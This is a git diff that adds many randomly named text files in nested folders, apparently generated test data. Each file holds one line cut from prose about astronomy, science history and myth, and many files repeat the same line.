@@ -0,0 +1 @@
+radio to an intelligence much greater than itself.* There may be planets where the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_ggnsvkkuzdjixsqprucvuakq.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_ggnsvkkuzdjixsqprucvuakq.txt
new file mode 100644
index 0000000..c9144cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_ggnsvkkuzdjixsqprucvuakq.txt
@@ -0,0 +1 @@
+radio to an intelligence much greater than itself.* There may be planets where the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_hpxwbkakalkc.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_hpxwbkakalkc.txt
new file mode 100644
index 0000000..c9144cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_hpxwbkakalkc.txt
@@ -0,0 +1 @@
+radio to an intelligence much greater than itself.* There may be planets where the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_idtprknnpwu.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_idtprknnpwu.txt
new file mode 100644
index 0000000..c9144cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_idtprknnpwu.txt
@@ -0,0 +1 @@
+radio to an intelligence much greater than itself.* There may be planets where the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_itwdumeecdtrsuejswhu.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_itwdumeecdtrsuejswhu.txt
new file mode 100644
index 0000000..c9144cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_itwdumeecdtrsuejswhu.txt
@@ -0,0 +1 @@
+radio to an intelligence much greater than itself.* There may be planets where the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_iumczbuxhnwtub.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_iumczbuxhnwtub.txt
new file mode 100644
index 0000000..c9144cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_iumczbuxhnwtub.txt
@@ -0,0 +1 @@
+radio to an intelligence much greater than itself.* There may be planets where the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_kwaugvwww.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_kwaugvwww.txt
new file mode 100644
index 0000000..c9144cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_kwaugvwww.txt
@@ -0,0 +1 @@
+radio to an intelligence much greater than itself.* There may be planets where the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_kztgcvgdcs.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_kztgcvgdcs.txt
new file mode 100644
index 0000000..c9144cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_kztgcvgdcs.txt
@@ -0,0 +1 @@
+radio to an intelligence much greater than itself.* There may be planets where the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_peattlfpnw.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_peattlfpnw.txt
new file mode 100644
index 0000000..c9144cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_peattlfpnw.txt
@@ -0,0 +1 @@
+radio to an intelligence much greater than itself.* There may be planets where the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_pfynfsltcipaz.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_pfynfsltcipaz.txt
new file mode 100644
index 0000000..c9144cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_pfynfsltcipaz.txt
@@ -0,0 +1 @@
+radio to an intelligence much greater than itself.* There may be planets where the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_ppdhqpsxwygspbvku.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_ppdhqpsxwygspbvku.txt
new file mode 100644
index 0000000..c9144cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_ppdhqpsxwygspbvku.txt
@@ -0,0 +1 @@
+radio to an intelligence much greater than itself.* There may be planets where the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_qrvdtbbfv.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_qrvdtbbfv.txt
new file mode 100644
index 0000000..c9144cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_qrvdtbbfv.txt
@@ -0,0 +1 @@
+radio to an intelligence much greater than itself.* There may be planets where the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_rghyeqetrwhanrihfjjuqgnk.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_rghyeqetrwhanrihfjjuqgnk.txt
new file mode 100644
index 0000000..c9144cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_rghyeqetrwhanrihfjjuqgnk.txt
@@ -0,0 +1 @@
+radio to an intelligence much greater than itself.* There may be planets where the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_uzmttzuz.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_uzmttzuz.txt
new file mode 100644
index 0000000..c9144cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_uzmttzuz.txt
@@ -0,0 +1 @@
+radio to an intelligence much greater than itself.* There may be planets where the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_zsycypelkbaldfcfogb.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_zsycypelkbaldfcfogb.txt
new file mode 100644
index 0000000..c9144cc
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/file_zsycypelkbaldfcfogb.txt
@@ -0,0 +1 @@
+radio to an intelligence much greater than itself.* There may be planets where the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_dcjwcnsgzfpq.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_dcjwcnsgzfpq.txt
new file mode 100644
index 0000000..7f97baa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_dcjwcnsgzfpq.txt
@@ -0,0 +1 @@
+Oh Anunaki, you great gods of the sky, what else shall we do?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_exapzyelwuxkboifotf.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_exapzyelwuxkboifotf.txt
new file mode 100644
index 0000000..7f97baa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_exapzyelwuxkboifotf.txt
@@ -0,0 +1 @@
+Oh Anunaki, you great gods of the sky, what else shall we do?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_hulnqsksbm.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_hulnqsksbm.txt
new file mode 100644
index 0000000..7f97baa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_hulnqsksbm.txt
@@ -0,0 +1 @@
+Oh Anunaki, you great gods of the sky, what else shall we do?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_jcxaxawwlcwmjmmiqxletus.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_jcxaxawwlcwmjmmiqxletus.txt
new file mode 100644
index 0000000..7f97baa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_jcxaxawwlcwmjmmiqxletus.txt
@@ -0,0 +1 @@
+Oh Anunaki, you great gods of the sky, what else shall we do?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_mokuxmqzoresb.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_mokuxmqzoresb.txt
new file mode 100644
index 0000000..7f97baa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_mokuxmqzoresb.txt
@@ -0,0 +1 @@
+Oh Anunaki, you great gods of the sky, what else shall we do?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_nutoidtrghtntrxwas.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_nutoidtrghtntrxwas.txt
new file mode 100644
index 0000000..7f97baa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_nutoidtrghtntrxwas.txt
@@ -0,0 +1 @@
+Oh Anunaki, you great gods of the sky, what else shall we do?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_rnsfmesktugomkrb.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_rnsfmesktugomkrb.txt
new file mode 100644
index 0000000..7f97baa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_rnsfmesktugomkrb.txt
@@ -0,0 +1 @@
+Oh Anunaki, you great gods of the sky, what else shall we do?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_sgrrngiawozgkjhhv.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_sgrrngiawozgkjhhv.txt
new file mode 100644
index 0000000..7f97baa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_sgrrngiawozgkjhhv.txt
@@ -0,0 +1 @@
+Oh Anunaki, you great gods of the sky, what else shall we do?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_shqjcqyhobjzjzuvzjk.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_shqjcqyhobjzjzuvzjk.txt
new file mode 100644
index 0000000..7f97baa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_shqjcqyhobjzjzuvzjk.txt
@@ -0,0 +1 @@
+Oh Anunaki, you great gods of the sky, what else shall we do?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_txiepsnfzneryydtzgfi.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_txiepsnfzneryydtzgfi.txt
new file mode 100644
index 0000000..7f97baa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_txiepsnfzneryydtzgfi.txt
@@ -0,0 +1 @@
+Oh Anunaki, you great gods of the sky, what else shall we do?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_yxikhbxteqgofgvbru.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_yxikhbxteqgofgvbru.txt
new file mode 100644
index 0000000..7f97baa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_yxikhbxteqgofgvbru.txt
@@ -0,0 +1 @@
+Oh Anunaki, you great gods of the sky, what else shall we do?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_zilssebqkl.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_zilssebqkl.txt
new file mode 100644
index 0000000..7f97baa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_zilssebqkl.txt
@@ -0,0 +1 @@
+Oh Anunaki, you great gods of the sky, what else shall we do?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_zossfxnzkxyrnrphimnowrju.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_zossfxnzkxyrnrphimnowrju.txt
new file mode 100644
index 0000000..7f97baa
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/file_zossfxnzkxyrnrphimnowrju.txt
@@ -0,0 +1 @@
+Oh Anunaki, you great gods of the sky, what else shall we do?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/ajluypnumgkhxvpzzq.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/ajluypnumgkhxvpzzq.txt
new file mode 100644
index 0000000..f10672e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/ajluypnumgkhxvpzzq.txt
@@ -0,0 +1 @@
+What we saw on such pictures was absolutely astonishing. Voyager 1 obtained
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_abztyqihtdifxkclq.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_abztyqihtdifxkclq.txt
new file mode 100644
index 0000000..616f2ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_abztyqihtdifxkclq.txt
@@ -0,0 +1 @@
+In 1844, the philosopher Auguste Comte was searching for an example of a sort of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_bnbsmupaznpeatqyat.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_bnbsmupaznpeatqyat.txt
new file mode 100644
index 0000000..616f2ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_bnbsmupaznpeatqyat.txt
@@ -0,0 +1 @@
+In 1844, the philosopher Auguste Comte was searching for an example of a sort of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_ccggycebiomdxvognrifdn.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_ccggycebiomdxvognrifdn.txt
new file mode 100644
index 0000000..616f2ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_ccggycebiomdxvognrifdn.txt
@@ -0,0 +1 @@
+In 1844, the philosopher Auguste Comte was searching for an example of a sort of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_eycjqwyaavvvpzcvygvqn.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_eycjqwyaavvvpzcvygvqn.txt
new file mode 100644
index 0000000..616f2ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_eycjqwyaavvvpzcvygvqn.txt
@@ -0,0 +1 @@
+In 1844, the philosopher Auguste Comte was searching for an example of a sort of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_hhrwlrkv.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_hhrwlrkv.txt
new file mode 100644
index 0000000..616f2ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_hhrwlrkv.txt
@@ -0,0 +1 @@
+In 1844, the philosopher Auguste Comte was searching for an example of a sort of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_hzfipzoijsgmrrjnmzo.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_hzfipzoijsgmrrjnmzo.txt
new file mode 100644
index 0000000..616f2ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_hzfipzoijsgmrrjnmzo.txt
@@ -0,0 +1 @@
+In 1844, the philosopher Auguste Comte was searching for an example of a sort of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_jwenfxqfiurzpqhbcum.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_jwenfxqfiurzpqhbcum.txt
new file mode 100644
index 0000000..616f2ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_jwenfxqfiurzpqhbcum.txt
@@ -0,0 +1 @@
+In 1844, the philosopher Auguste Comte was searching for an example of a sort of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_kcglzcqqjgsrbogyainuxoc.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_kcglzcqqjgsrbogyainuxoc.txt
new file mode 100644
index 0000000..616f2ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_kcglzcqqjgsrbogyainuxoc.txt
@@ -0,0 +1 @@
+In 1844, the philosopher Auguste Comte was searching for an example of a sort of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_tskcxpxqezhqrqregcpjygn.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_tskcxpxqezhqrqregcpjygn.txt
new file mode 100644
index 0000000..616f2ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_tskcxpxqezhqrqregcpjygn.txt
@@ -0,0 +1 @@
+In 1844, the philosopher Auguste Comte was searching for an example of a sort of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_ucdmmhwmmckddmipus.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_ucdmmhwmmckddmipus.txt
new file mode 100644
index 0000000..616f2ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_ucdmmhwmmckddmipus.txt
@@ -0,0 +1 @@
+In 1844, the philosopher Auguste Comte was searching for an example of a sort of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_vaydkdcyrcjffmwn.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_vaydkdcyrcjffmwn.txt
new file mode 100644
index 0000000..616f2ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_vaydkdcyrcjffmwn.txt
@@ -0,0 +1 @@
+In 1844, the philosopher Auguste Comte was searching for an example of a sort of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_vdmdybrhfgzyrcgqjetnl.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_vdmdybrhfgzyrcgqjetnl.txt
new file mode 100644
index 0000000..616f2ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_vdmdybrhfgzyrcgqjetnl.txt
@@ -0,0 +1 @@
+In 1844, the philosopher Auguste Comte was searching for an example of a sort of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_whgskdxzqqupkvxgbe.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_whgskdxzqqupkvxgbe.txt
new file mode 100644
index 0000000..616f2ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_whgskdxzqqupkvxgbe.txt
@@ -0,0 +1 @@
+In 1844, the philosopher Auguste Comte was searching for an example of a sort of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_wljbrigdfz.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_wljbrigdfz.txt
new file mode 100644
index 0000000..616f2ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_wljbrigdfz.txt
@@ -0,0 +1 @@
+In 1844, the philosopher Auguste Comte was searching for an example of a sort of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_wuzxlwwzmekb.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_wuzxlwwzmekb.txt
new file mode 100644
index 0000000..616f2ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_wuzxlwwzmekb.txt
@@ -0,0 +1 @@
+In 1844, the philosopher Auguste Comte was searching for an example of a sort of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_wzzbcyxrvktjigzjityylr.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_wzzbcyxrvktjigzjityylr.txt
new file mode 100644
index 0000000..616f2ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_wzzbcyxrvktjigzjityylr.txt
@@ -0,0 +1 @@
+In 1844, the philosopher Auguste Comte was searching for an example of a sort of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_xifntikca.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_xifntikca.txt
new file mode 100644
index 0000000..616f2ac
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/file_xifntikca.txt
@@ -0,0 +1 @@
+In 1844, the philosopher Auguste Comte was searching for an example of a sort of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/izlfdtyhffsojbfse.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/izlfdtyhffsojbfse.txt
new file mode 100644
index 0000000..379986f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/izlfdtyhffsojbfse.txt
@@ -0,0 +1 @@
+plants to eat. We are wandering hunters and gatherers. We call ourselves the hunterfolk.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/jjgnblhudyax.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/jjgnblhudyax.txt
new file mode 100644
index 0000000..fb2706d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/jjgnblhudyax.txt
@@ -0,0 +1 @@
+deduction to prove the thing generally. The modern tradition of mathematical argument,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/jnnyaemnbypbuvqwfhoa.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/jnnyaemnbypbuvqwfhoa.txt
new file mode 100644
index 0000000..ee014b2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/jnnyaemnbypbuvqwfhoa.txt
@@ -0,0 +1 @@
+mold, all over the Cosmos because these simple laws of nature - gravity and the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/mipgwowvqsy.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/mipgwowvqsy.txt
new file mode 100644
index 0000000..e115067
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/mipgwowvqsy.txt
@@ -0,0 +1 @@
+If the Ionian spirit had won, I think we - a different ‘we,’ of course - might by now
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/okuvhzwafaz.txt b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/okuvhzwafaz.txt
new file mode 100644
index 0000000..c3f2f96
--- /dev/null
+++ b/big_zip/big-zip-files/folder_qsvuebxszi/folder_odqzrlzbxp/folder_csovswzfto/folder_vvqtxvxovd/okuvhzwafaz.txt
@@ -0,0 +1 @@
+because she was a symbol of learning and science, which were largely identified by the
\ No newline at end of file
